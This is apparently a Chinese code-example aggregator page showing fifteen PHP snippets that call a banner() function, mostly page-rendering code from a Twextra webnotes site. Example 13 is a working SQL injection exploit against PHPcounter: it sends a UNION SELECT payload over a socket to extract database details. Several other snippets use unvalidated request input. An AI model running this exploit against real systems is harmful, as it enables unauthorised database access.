本文整理汇总了PHP中banner函数的典型用法代码示例。如果您正苦于以下问题:PHP banner函数的具体用法?PHP banner怎么用?PHP banner使用的例子?那么, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了banner函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: displayTwextra
function displayTwextra($screen_name = '')
{
//configuration parameters:
$config_params = Config::getConfigParams();
$css = $config_params['css'];
$tweet_size_max = $config_params['tweet_size_max'];
$tweet_size_max_google = $config_params['tweet_size_max_google'];
$hostname = $config_params['hostname'];
$doctype = $config_params['doctype'];
$html_attribute = $config_params['html_attribute'];
$banner = banner('', 'banner');
//(user, banner_class)
$footer = $config_params['footer'];
//
$docroot = $config_params['docroot'];
$godaddy_analytics = $config_params['godaddy_analytics'];
$debug = $config_params['debug'];
$enable_stats = $config_params['enable_stats'];
$show_maintenance_page = $config_params['show_maintenance_page'];
$print_full_message_list = $config_params['print_full_message_list'];
$search_len_max = $config_params['search_len_max'];
$search_len_size = $config_params['search_len_size'];
$search_count_offset = $config_params['search_count_offset'];
if ($show_maintenance_page == 1) {
maintenance_page();
}
$script_path = __FUNCTION__;
//save logs
if ($enable_stats) {
$model = new TwextraModel();
//
$model->saveStat();
}
if (isset($_REQUEST['message_from'])) {
$message_from = $_REQUEST['message_from'];
//validate data..
} else {
$message_from = 0;
}
if (isset($_REQUEST['order'])) {
$order = $_REQUEST['order'];
//validate data..
}
if (isset($_REQUEST['toggle'])) {
if ($_REQUEST['asc_desc'] == 'asc') {
$asc_desc = 'desc';
} else {
$asc_desc = 'asc';
}
} else {
$asc_desc = $_REQUEST['asc_desc'];
}
//if not set, define the default values
if (empty($order)) {
$order = 'created';
}
if (empty($asc_desc)) {
$asc_desc = 'desc';
}
if (isset($_REQUEST['less'])) {
$next = 'less';
} else {
$next = 'more';
}
$search = $_REQUEST['search'];
$model = new TwextraModel();
//
//$message_id, $created, $view_count, $last_viewed, $prefix
$length = 20;
//number of messages to get
$message_history = $model->get_twextra_search($screen_name, $message_from, $next, $order, $asc_desc, $length, $search);
$msg_cnt = $message_history[0]['msg_cnt'];
$msg_pages = ceil($msg_cnt / 20);
$msg_current = ceil($message_from / 20) + 1;
$msg_page_of_pages = "Page {$msg_current} of {$msg_pages}";
$model = new TwextraModel();
$user_info = $model->get_user_info($message_history[0]['message_id']);
$display_remote_ip = trim($_SERVER['REMOTE_ADDR']);
logger($script_path . " display_remote_ip: ", $display_remote_ip);
//don't count twitter bot access for correct view count..
if ($_SERVER['REMOTE_ADDR'] == '128.242.241.134') {
//$view_inc = false;
return;
}
$screen_name = trim($user_info['screen_name']);
//screen name of poster
$name = trim($user_info['name']);
$location = trim($user_info['location']);
$description = trim($user_info['description']);
$user_image_url = trim($user_info['user_image_url']);
$message_totals = $model->get_message_totals();
//round to nearest thousand:
$message_totals = $message_totals - $message_totals % 1000;
//$message_totals = $message_totals - $search_count_offset;
$message_totals = number_format($message_totals);
//format into human readable form
if (isset($_SESSION['profile_image_url'])) {
$message_created_by = "";
//redundant, was used to concatenate profile_image_url
}
//.........这里部分代码省略.........
示例2: display_about
function display_about($screen_name = '')
{
//configuration parameters:
$config_params = Config::getConfigParams();
$css = $config_params['css'];
$tweet_size_max = $config_params['tweet_size_max'];
$tweet_size_max_google = $config_params['tweet_size_max_google'];
$hostname = $config_params['hostname'];
$doctype = $config_params['doctype'];
$html_attribute = $config_params['html_attribute'];
$banner = banner('', 'banner');
//(user, banner_class)
$footer = $config_params['footer'];
//
$docroot = $config_params['docroot'];
$godaddy_analytics = $config_params['godaddy_analytics'];
$debug = $config_params['debug'];
$enable_stats = $config_params['enable_stats'];
$script_path = __FUNCTION__;
//save logs
if ($enable_stats) {
$model = new TwextraModel();
//
$model->saveStat();
}
$header = header_html($prefix);
//
//..........................................................
header("Pragma: no-cache");
header("cache-Control: no-cache, must-revalidate");
// HTTP/1.1
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
// Date in the past
$message = '';
$message .= $doctype;
$message .= "<html {$html_attribute} >\n";
$message .= $header;
$message .= "<body>\n";
$message .= "<div class='p5_wrapper'>\n";
$message .= "<div class='p5_page'>\n";
$message .= $banner;
$message .= "<div style='margin-left:auto;margin-right:auto;margin-bottom:20px;width:768px;font-size:0.8em;' >\n";
//p5_main
$message .= "<h3>About Twextra</h3>";
$message .= "Ever wish you could write a message longer than 140 characters on\nTwitter or Linkedin? Well, that's exactly what Twextra enables,\nplus much more. Take a look at Twextra's features:\n<ul style='margin:0px 0px 10px 25px'>\n<li>\n<span style='background-color:yellow;'>Super-size</span> - With Twextra you can create huge messages of up to\n<i>100,000 characters</i>.\n</li>\n\n<li>\n<span style='background-color:yellow;'>Rich-text</span> - Create messages with formatting such as<i> bold, italic,\nunderline, colored-text, emoticons, </i>etc.\n</li>\n<li>\n<span style='background-color:yellow;'>Multi-media</span> - Embed <i>videos</i> and <i>images</i> into your messages to enable more interesting communication.\n</li>\n</ul>\n\nGive Twextra a try today!";
$message .= "<br style='clear:both;' />";
$message .= "</div>\n";
//p5_main
$message .= $footer;
$message .= "</div>\n";
//page
$message .= "</div>\n";
//wrapper
$message .= $godaddy_analytics;
//$message .= phpinfo();
$message .= "</body>\n</html>\n";
echo $message;
}
示例3: display_content
function display_content($screen_name = '')
{
//configuration parameters:
$config_params = Config::getConfigParams();
$css = $config_params['css'];
$tweet_size_max = $config_params['tweet_size_max'];
$tweet_size_max_google = $config_params['tweet_size_max_google'];
$hostname = $config_params['hostname'];
$doctype = $config_params['doctype'];
$html_attribute = $config_params['html_attribute'];
$banner = banner('', 'banner');
//(user, banner_class)
$footer = $config_params['footer'];
//
$docroot = $config_params['docroot'];
$godaddy_analytics = $config_params['godaddy_analytics'];
$debug = $config_params['debug'];
$enable_stats = $config_params['enable_stats'];
$script_path = __FUNCTION__;
//save logs
if ($enable_stats) {
$model = new TwextraModel();
//
$model->saveStat();
}
$header = header_html($prefix);
//
//..........................................................
header("Pragma: no-cache");
header("cache-Control: no-cache, must-revalidate");
// HTTP/1.1
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
// Date in the past
$message = '';
$message .= $doctype;
$message .= "<html {$html_attribute} >\n";
$message .= $header;
$message .= "<body>\n";
$message .= "<div class='p5_wrapper'>\n";
$message .= "<div class='p5_page'>\n";
$message .= $banner;
$message .= "<div style='margin-left:auto;margin-right:auto;margin-bottom:20px;width:768px;font-size:0.8em;' >\n";
//p5_main
$message .= "<h3>Contacting Twextra</h3>";
$message .= "If you have any problems, questions, or feedback send email to: ";
$message .= "<br /><br />contact@twextra.com";
$message .= "<br style='clear:both;' />";
$message .= "</div>\n";
//p5_main
$message .= $footer;
$message .= "</div>\n";
//page
$message .= "</div>\n";
//wrapper
$message .= $godaddy_analytics;
$message .= "</body>\n</html>\n";
echo $message;
}
示例4: windex
function windex()
{
if (session_id() == "") {
session_start();
}
logger($script_path . " index start:");
validate_access_webnotes();
//configuration parameters:
$config_params = Config::getConfigParams();
$hostname = $config_params['hostname'];
$watch_demo = $config_params['watch_demo'];
$docroot = $config_params['docroot'];
$debug = $config_params['debug'];
$header = header_html();
//
$footer = $config_params['footer'];
$doctype = $config_params['doctype'];
$html_attribute = $config_params['html_attribute'];
$css = $config_params['css'];
$google_analytics = $config_params['google_analytics'];
$godaddy_analytics = $config_params['godaddy_analytics'];
$cookie_name = $config_params['cookie_name'];
$ep4 = $config_params['ep4'];
$docroot = $_SERVER['DOCUMENT_ROOT'];
// if (isset($_REQUEST['weditor'])) {
// $user = 'raj4126';
// $note = $_REQUEST['weditor'];
// $tag = $_REQUEST['tag'];
// $action = $_REQUEST['action'];
// $wid = $_REQUEST['wid'];
// print_r($_REQUEST); exit;
// $model = new TwextraModel();
// $model->saveNote($user, $note, $tag, $action, $wid);
// }
header("Pragma: no-cache");
header("cache-Control: no-cache, must-revalidate");
// HTTP/1.1
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
// Date in the past
print $doctype;
print "<html {$html_attribute} >";
$message = "\n<head>\n<link rel=\"stylesheet\" type=\"text/css\" href=\"{$css}\" />\n<title>Twextra- When you NEED more than 140 characters</title>";
echo $message;
$scripts = '';
$scripts .= "<script type='text/javascript' src='/scripts/jquery/jquery-1.2.6.js'></script>\n";
echo $scripts;
$message = "\n<link rel=\"shortcut icon\" type=\"image/x-icon\" href=\"/favicon.ico\" />\n</head>\n<body>\n<div class='wrapper'>\n<div class='page'>";
echo $message;
$banner = banner($screen_name, 'banner_index');
//(user, banner_class)
echo $banner;
$message = "<div style='float:left;clear:both;margin-left:auto;margin-right:auto;width:800px;'>\n<div style='margin-left:100px;'><a href='{$hostname}/webnotes/wrouter.php?wroute=create'>Create a webnote</a></div>\n<div style='margin-left:100px;'><a href='{$hostname}/webnotes/wrouter.php?wroute=display'>Display webnotes</a></div>\n<div style='margin-left:100px;'><a href='{$hostname}/webnotes/wrouter.php?wroute=search'>Search webnotes</a></div>\n</div>";
echo $message;
echo $footer;
$message = "\n</div>\n</div>\n</body>\n</html>";
echo $message;
}
示例5: display_maintenance_page
function display_maintenance_page($screen_name = '')
{
//configuration parameters:
$config_params = Config::getConfigParams();
$css = $config_params['css'];
$tweet_size_max = $config_params['tweet_size_max'];
$tweet_size_max_google = $config_params['tweet_size_max_google'];
$hostname = $config_params['hostname'];
$doctype = $config_params['doctype'];
$html_attribute = $config_params['html_attribute'];
$banner = banner('', 'banner');
//(user, banner_class)
$footer = $config_params['footer'];
//
$docroot = $config_params['docroot'];
$godaddy_analytics = $config_params['godaddy_analytics'];
$debug = $config_params['debug'];
$enable_stats = $config_params['enable_stats'];
$script_path = __FUNCTION__;
//save logs
if ($enable_stats) {
$model = new TwextraModel();
//
$model->saveStat();
}
$header = header_html($prefix);
//
//..........................................................
header("Pragma: no-cache");
header("cache-Control: no-cache, must-revalidate");
// HTTP/1.1
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
// Date in the past
$message = '';
$message .= $doctype;
$message .= "<html {$html_attribute} >\n";
$message .= $header;
$message .= "<body>\n";
$message .= "<div class='p5_wrapper'>\n";
$message .= "<div class='p5_page'>\n";
$message .= $banner;
$message .= "<div style='margin:80px auto;width:768px;font-size:1.0em;' >\n";
//p5_main
$message .= "<h3 style='background-color:#ee1111;width:350px;padding-left:20px;' >Twextra is Down for Maintenance</h3>";
$message .= "Twextra is currently down for maintenance. Please check back in a few hours.";
$message .= "<br style='clear:both;' />";
$message .= "</div>\n";
//p5_main
$message .= $footer;
$message .= "</div>\n";
//page
$message .= "</div>\n";
//wrapper
$message .= $godaddy_analytics;
$message .= "</body>\n</html>\n";
echo $message;
}
示例6: display_privacy
function display_privacy($screen_name = '')
{
//configuration parameters:
$config_params = Config::getConfigParams();
$css = $config_params['css'];
$tweet_size_max = $config_params['tweet_size_max'];
$tweet_size_max_google = $config_params['tweet_size_max_google'];
$hostname = $config_params['hostname'];
$doctype = $config_params['doctype'];
$html_attribute = $config_params['html_attribute'];
$banner = banner('', 'banner');
//(user, banner_class)
$footer = $config_params['footer'];
//
$docroot = $config_params['docroot'];
$godaddy_analytics = $config_params['godaddy_analytics'];
$debug = $config_params['debug'];
$enable_stats = $config_params['enable_stats'];
$script_path = __FUNCTION__;
//save logs
if ($enable_stats) {
$model = new TwextraModel();
//
$model->saveStat();
}
$header = header_html($prefix);
//
//..........................................................
header("Pragma: no-cache");
header("cache-Control: no-cache, must-revalidate");
// HTTP/1.1
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
// Date in the past
$message = '';
$message .= $doctype;
$message .= "<html {$html_attribute} >\n";
$message .= $header;
$message .= "<body>\n";
$message .= "<div class='p5_wrapper'>\n";
$message .= "<div class='p5_page'>\n";
$message .= $banner;
$message .= "<div style='margin-left:auto;margin-right:auto;margin-bottom:20px;width:768px;font-size:0.8em;' >\n";
//p5_main
$message .= "<div class='info2'>\n<h2>Privacy Policy</h2>\n<div class='info'>\nOur Privacy Policy is designed to assist you in understanding how we collect and use the personal information you provide to us and to assist you in making informed decisions when using our site and our products and services.\n</div>\n<h3>What Information Do We Collect?</h3>\n<div class='info'>\nWhen you visit our Web site you may provide us with two types of information: personal information you knowingly choose to disclose that is collected on an individual basis and Web site use information collected on an aggregate basis as you and others browse our Web site.\n</div>\n<h3> 1.\tPersonal Information You Choose to Provide</h3>\n\n<h4>Registration Information</h4>\n\n<div class='info'>\nYou will provide us information about yourself when you register to be a member of twextra.com, register for certain services, or register for email newsletters and alerts. You may also provide additional comments on how you see twextra.com servicing your needs and interests.\n</div>\n<h4> Email Information</h4>\n<div class='info'>\nIf you choose to correspond with us through email, we may retain the content of your email messages together with your email address and our responses. \n</div>\n<h3> 2.\tWeb Site Use Information</h3>\n<div class='info'>\nSimilar to other commercial Web sites, our Web site utilizes a standard technology called \"cookies\" (see explanation below, \"What Are Cookies?\") and Web server logs to collect information about how our Web site is used. Information gathered through cookies and Web server logs may include the date and time of visits, the pages viewed, time spent at our Web site, and the Web sites visited just before and just after our Web site. We, our advertisers and ad serving companies may also use small technology or pieces of code to determine which advertisements and promotions users have seen and how users responded to them.\n</div>\n<h3>How Do We Use the Information That You Provide to Us?</h3>\n\n<div class='info'>\nBroadly speaking, we use personal information for purposes of administering and expanding our business activities, providing customer service and making available other products and services to our customers and prospective customers. Occasionally, we may also use the information we collect to notify you about important changes to our Web site, new services and special offers we think you will find valuable. You may notify us at any time if you do not wish to receive these offers by emailing us at contact@twextra.com.\n</div>\n<h3> What Are Cookies?</h3>\n<div class='info'>\nA cookie is a very small text document, which often includes an anonymous unique identifier. When you visit a Web site, that site's computer asks your computer for permission to store this file in a part of your hard drive specifically designated for cookies. Each Web site can send its own cookie to your browser if your browser's preferences allow it, but (to protect your privacy) your browser only permits a Web site to access the cookies it has already sent to you, not the cookies sent to you by other sites. Some of our business partners (e.g., advertisers) use cookies that originate from their sites. We have no access or control over those cookies. \n</div>\n\n<h3> How Do We Use Information We Collect from Cookies?</h3>\n<div class='info'>\nAs you use our Web site, the site uses its cookies to differentiate you from other users. In some cases, we also use cookies to prevent you from logging in more than is necessary for security. Cookies, in conjunction with our Web server's log files, allow us to calculate the aggregate number of people visiting our Web site and which parts of the site are most popular. This helps us gather feedback in order to constantly improve our Web site and better serve our customers.\n</div>\n<h3> Sharing Information with Third Parties</h3>\n\n<div class='info'>\nWe may enter into alliances, partnerships or other business arrangements with third parties who may be given access to personal information including your name, address, telephone number and email for the purpose of providing you information regarding products and services that we think will be of interest to you. In connection with alliances, partnerships or arrangements, we may also provide certain information to third parties if we have determined that the information will be used in a responsible manner by a responsible third party. For example, some of our partners operate stores or provide services on our site, while others power offerings developed by us for your use. We may also use third parties to facilitate our business, including, but not limited to, sending email and processing credit card payments. In connection with these offerings and business operations, our partners and other third parties may have access to your personal information for use in connection with business activities. As we develop our business, we may buy or sell assets or business offerings. Customer, email, and visitor information is generally one of the transferred business assets in these types of transactions. We may also transfer such information in the course of corporate divestitures, mergers, or any dissolution.\n</div>\n<h3> Notice of New Services and Changes</h3>\n<div class='info'>\nOccasionally, we may also use the information we collect to notify you about important changes to our Web site, new services and special offers we think you will find valuable. As our customer, you will be given the opportunity to notify us of your desire not to receive these offers by sending us an email request at contact@twextra.com.\n</div>\n<h3> How Do We Protect Your Information? How Do We Secure Information Transmissions?</h3>\n<div class='info'>\nEmail is not recognized as a secure medium of communication. For this reason, we request that you do not send private information to us by email. Some of the information you may enter on our Web site may be transmitted securely via Secure Sockets Layer SSL encryption services. Pages utilizing this technology will have URLs that start with HTTPS instead of HTTP. Please contact contact@twextra.com if you have any questions or concerns.\n</div>\n<h3> How Can You Access and Correct Your Information?</h3>\n\n<div class='info'>\nYou may request access to all your personally identifiable information that we collect online and maintain in our database by emailing \ncontact@twextra.com.\n</div>\n<h3> Certain Disclosures</h3>\n<div class='info'>\nWe may disclose your personal information if required to do so by law or subpoena or if we believe that such action is necessary to (a) conform to the law or comply with legal process served on us or affiliated parties; (b) protect and defend our rights and property, our site, the users of our site, and/or our affiliated parties; (c) act under circumstances to protect the safety of users of our site, us, or third parties.\n</div>\n<h3> What About Other Web Sites Linked to Our Web Site?</h3>\n<div class='info'>\nWe are not responsible for the practices employed by Web sites linked to or from our Web site nor the information or content contained therein. Often links to other Web sites are provided solely as pointers to information on topics that may be useful to the users of our Web site. \nPlease remember that when you use a link to go from our Web site to another Web site, our Privacy Policy is no longer in effect. Your browsing and interaction on any other Web site, including Web sites which have a link on our Web site, is subject to that Web site's own rules and policies. Please read over those rules and policies before proceeding.\n</div>\n<h3> Your Consent</h3>\n\n<div class='info'>\nBy using our Web site you consent to our collection and use of your personal information as described in this Privacy Policy. If we change our privacy policies and procedures, we will post those changes on our Web site to keep you aware of what information we collect, how we use it and under what circumstances we may disclose it.\n</div>\n</div>\n";
$message .= "<br style='clear:both;' />";
$message .= "</div>\n";
//p5_main
$message .= $footer;
$message .= "</div>\n";
//page
$message .= "</div>\n";
//wrapper
$message .= $godaddy_analytics;
$message .= "</body>\n</html>\n";
echo $message;
}
示例7: abrirArquivotxt
function abrirArquivotxt($arquivo, $opcoes)
{
if (isset($arquivo) && !empty($arquivo)) {
$ponteiro = fopen($arquivo, "r");
while (!feof($ponteiro)) {
$cpf = str_replace('-', '', str_replace('.', '', !is_null(fgets($ponteiro, 4096)) ? str_replace("\n", '', str_replace("\r", '', fgets($ponteiro, 4096))) : NULL));
pesquisa(isset($cpf) && !empty($cpf) ? $cpf : NULL, $opcoes);
}
fclose($ponteiro);
} else {
banner(" ALGO DE ERRO NA OPÇÃO ARQUIVO ");
}
}
示例8: contentheader
function contentheader()
{
echo '<div id="header">';
echo '<div class="frame">';
echo '<div id="top_section">';
banner("");
menu("");
echo '</div>';
echo '<div id="upper_section" class="middletext">';
ad();
//user();
echo '</div>';
echo '</div>';
echo '</div>';
}
示例9: notFound
function notFound($firstname, $lastname)
{
head();
echo '<body>
<div id = "frame">';
banner();
echo '<div id = "main">
<h1>No Results for ' . $firstname . ' ' . $lastname . '</h1>';
searchAll();
searchKevin();
echo '</div>';
validators();
echo '</div>
</body>
</html>';
}
示例10: search_display
function search_display()
{
if (session_id() == "") {
session_start();
}
logger($script_path . " index start:");
validate_access_webnotes();
//configuration parameters:
$config_params = Config::getConfigParams();
$hostname = $config_params['hostname'];
$watch_demo = $config_params['watch_demo'];
$docroot = $config_params['docroot'];
$debug = $config_params['debug'];
$header = header_html();
//
$footer = $config_params['footer'];
$doctype = $config_params['doctype'];
$html_attribute = $config_params['html_attribute'];
$css = $config_params['css'];
$google_analytics = $config_params['google_analytics'];
$godaddy_analytics = $config_params['godaddy_analytics'];
$cookie_name = $config_params['cookie_name'];
$ep4 = $config_params['ep4'];
$docroot = $_SERVER['DOCUMENT_ROOT'];
header("Pragma: no-cache");
header("cache-Control: no-cache, must-revalidate");
// HTTP/1.1
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
// Date in the past
print $doctype;
print "<html {$html_attribute} >";
$message = "\n\n<head>\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"{$css}\" />\n\n<title>Twextra- When you NEED more than 140 characters</title>";
echo $message;
$scripts = '';
$scripts .= "<script type='text/javascript' src='/scripts/jquery/jquery-1.2.6.js'></script>\n";
echo $scripts;
$message = "\n\n<link rel=\"shortcut icon\" type=\"image/x-icon\" href=\"/favicon.ico\" />\n\n</head>\n\n<body>\n\n<div class='wrapper'>\n\n<div class='page'>";
echo $message;
$banner = banner($screen_name, 'banner_index');
//(user, banner_class)
echo $banner;
$message = "<div style='float:left;clear:both;margin-left:auto;margin-right:auto;width:800px;'><form method='post' \n\naction='/webnotes/wrouter.php' accept-charset=\"utf-8\" >\n\n\t<input type='hidden' name='wroute' id='wroute' value='searchdisplay'> </input>\n\n\n\n\t<input id='tag' name='tag' style='width: 768px; border:solid black 1px;'></input> \n\n<div><input type='submit' name='save' id='save' value='Search' class='button'></input></div>\n\n\n\n</form></div>";
echo $message;
echo $footer;
$message = "\n\n</div>\n\n</div>\n\n</body>\n\n</html>";
echo $message;
}
示例11: ob_start
<?
ob_start();
if(cfg('memcache/enabled'))
{
cache_connect();
if(!object('memcache'))
{
banner('Could not connect to memcache server: '.cfg('memcache/server'));
}
else
{
$stats = object('memcache')->getStats();
print('<div class="smallwin banner">');
print('Memcached Version: '.$stats['version'].', ');
print('Current Connections: '.$stats['curr_connections'].'<br/>');
print('Cache Size: '.number_format($stats['limit_maxbytes'] / (1024*1024), 2).' MB total, '.number_format(($stats['limit_maxbytes']-$stats['bytes']) / (1024*1024), 2).' MB free<br/>');
print('Hits: '.ceil($stats['get_hits'] / (1)).', Misses: '.ceil($stats['get_misses'] / (1)).', Evictions: '.ceil($stats['evictions'] / 1).'<br/>');
print('</div>');
}
}
if($GLOBALS['errors']['memcache'] != '')
{
?><div class="fail banner">
Error: <?php
echo $GLOBALS['errors']['memcache'];
?>
</div><?
}
$memcache_status = ob_get_clean();
示例12: hook_philgo_banner_uninstall
function hook_philgo_banner_uninstall()
{
banner()->uninstall();
}
示例13: error_reporting
#!/usr/bin/php -q
<?php
// PHPcounter <= 1.3.2 Remote SQL Injection Exploit
// Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
// Discovered On: 28/09/2008
// Download: http://sourceforge.net/projects/phpcounter/
error_reporting(0);
$host = $argv[1] or banner();
$path = $argv[2] or banner();
$host = str_replace('http://', NULL, $host);
$isql = "'union select 0,0,0,concat(0x24,database(),0x3a,user(),0x3a,version(),0x24)'/*";
$isql = urlencode($isql);
function banner()
{
echo "[?] Usage: php {$argv['0']} http://example.com /cms\r\n";
exit(0);
}
if (!($sock = fsockopen($host, 80))) {
die("Socket Error\r\n");
}
$data .= "GET /{$path}/index.php?name={$isql} HTTP/1.1\r\n";
$data .= "Host: {$host}\r\n";
$data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
$data .= "Connection: close\r\n\r\n";
fputs($sock, $data);
while (!feof($sock)) {
$content .= fgets($sock);
}
fclose($sock);
if (preg_match('/\\$(.+?)\\$/', $content, $out)) {
print "[+] {$out['1']}\r\n";
示例14: notes_display
function notes_display()
{
if (session_id() == "") {
session_start();
}
logger($script_path . " index start:");
validate_access_webnotes();
//configuration parameters:
$config_params = Config::getConfigParams();
$hostname = $config_params['hostname'];
$watch_demo = $config_params['watch_demo'];
$docroot = $config_params['docroot'];
$debug = $config_params['debug'];
$header = header_html();
//
$footer = $config_params['footer'];
$doctype = $config_params['doctype'];
$html_attribute = $config_params['html_attribute'];
$css = $config_params['css'];
$google_analytics = $config_params['google_analytics'];
$godaddy_analytics = $config_params['godaddy_analytics'];
$cookie_name = $config_params['cookie_name'];
$ep4 = $config_params['ep4'];
$docroot = $_SERVER['DOCUMENT_ROOT'];
$user = $_SESSION['user'];
//??
$user = 'raj4126';
if ($_REQUEST['action'] == 'searchdisplay') {
$tag = $_REQUEST['tag'];
$model = new TwextraModel();
$notes_all_array = $model->searchNote($user, $tag);
} else {
$model = new TwextraModel();
$notes_all_array = $model->getNotesAll($user);
}
header("Pragma: no-cache");
header("cache-Control: no-cache, must-revalidate");
// HTTP/1.1
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
// Date in the past
print $doctype;
print "<html {$html_attribute} >";
$message = "\n\n<head>\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"{$css}\" />\n\n<title>Twextra- When you NEED more than 140 characters</title>";
echo $message;
$scripts = '';
$scripts .= "<script type='text/javascript' src='/scripts/jquery/jquery-1.2.6.js'></script>\n";
echo $scripts;
$message = "\n\n<link rel=\"shortcut icon\" type=\"image/x-icon\" href=\"/favicon.ico\" />\n\n</head>\n\n<body>\n\n<div class='wrapper'>\n\n<div class='page'>";
echo $message;
$banner = banner($screen_name, 'banner_index');
//(user, banner_class)
echo $banner;
$message = "<div style='clear:both;margin-left:auto;margin-right:auto;width:800px;'>\n\nYour webnotes are displayed below:";
$message .= "<table class='w_display_table' >";
$message .= "<tr class='w_display_tr' >\n\n<th class='w_display_th'>Note</th>\n\n<th class='w_display_th'>Tags</th>\n\n<th class='w_display_th'>Updated</th>\n\n<th class='w_display_th'>Actions</th></tr>";
foreach ($notes_all_array as $entry) {
$message .= "<tr class='w_display_tr' >\n\n <td class='w_display_td'>{$entry['note']}</td>\n\n <td class='w_display_td' >{$entry['tag']}</td>\n\n <td class='w_display_td'>{$entry['created']}</td>\n\n <td class='w_display_td'><a href={$hostname}/webnotes/wrouter.php?wid={$entry['wid']}&wroute=edit >Edit</a>\n\n <span id='delete' style='color:blue;' onclick=_edit('{$hostname}',{$entry['wid']})>Delete</span>\n\n <a href={$hostname}/webnotes/wrouter.php?wid={$entry['wid']}&wroute=share>Share</a>\n\n </td></tr>";
}
$message .= "</table>";
$message .= "</div>";
echo $message;
echo $footer;
$message = "\n\n</div>\n\n</div>\n\n</body>\n\n</html>";
echo $message;
}
示例15: error_reporting
// copyright header is strictly prohibited without
// written permission from the original author(s).
// -------------------------------------------------------
error_reporting(E_ALL);
$error = array();
require_once "../../maincore.php";
require_once THEMES . "templates/header.php";
include_once INFUSIONS . "pft_ts3/config/pft_ts3config.php";
include_once INFUSIONS . "pft_ts3/config/pft_ts3func.php";
include_once INFUSIONS . "pft_ts3/config/pft_ts3op.php";
opentable("Teamspeak 3 Viewer by PHPFusion-Tools.de");
echo "<table align='left' width='96%' cellspacing='0' cellpadding='0'>\r\n\t\t<tr>\r\n\t\t<td>";
?>
<?php
if (!isset($error[0])) {
echo banner($info, $sinfo, $new);
}
?>
<table align="left"><td><tr>
<h3><a href="ts3server://<?php
echo $ip;
?>
?port=<?php
echo $port;
?>
">>> Connect!</a></h3>
</td></tr></table>
<?php
if (!isset($error[0])) {
echo useron($info, $sinfo, $new);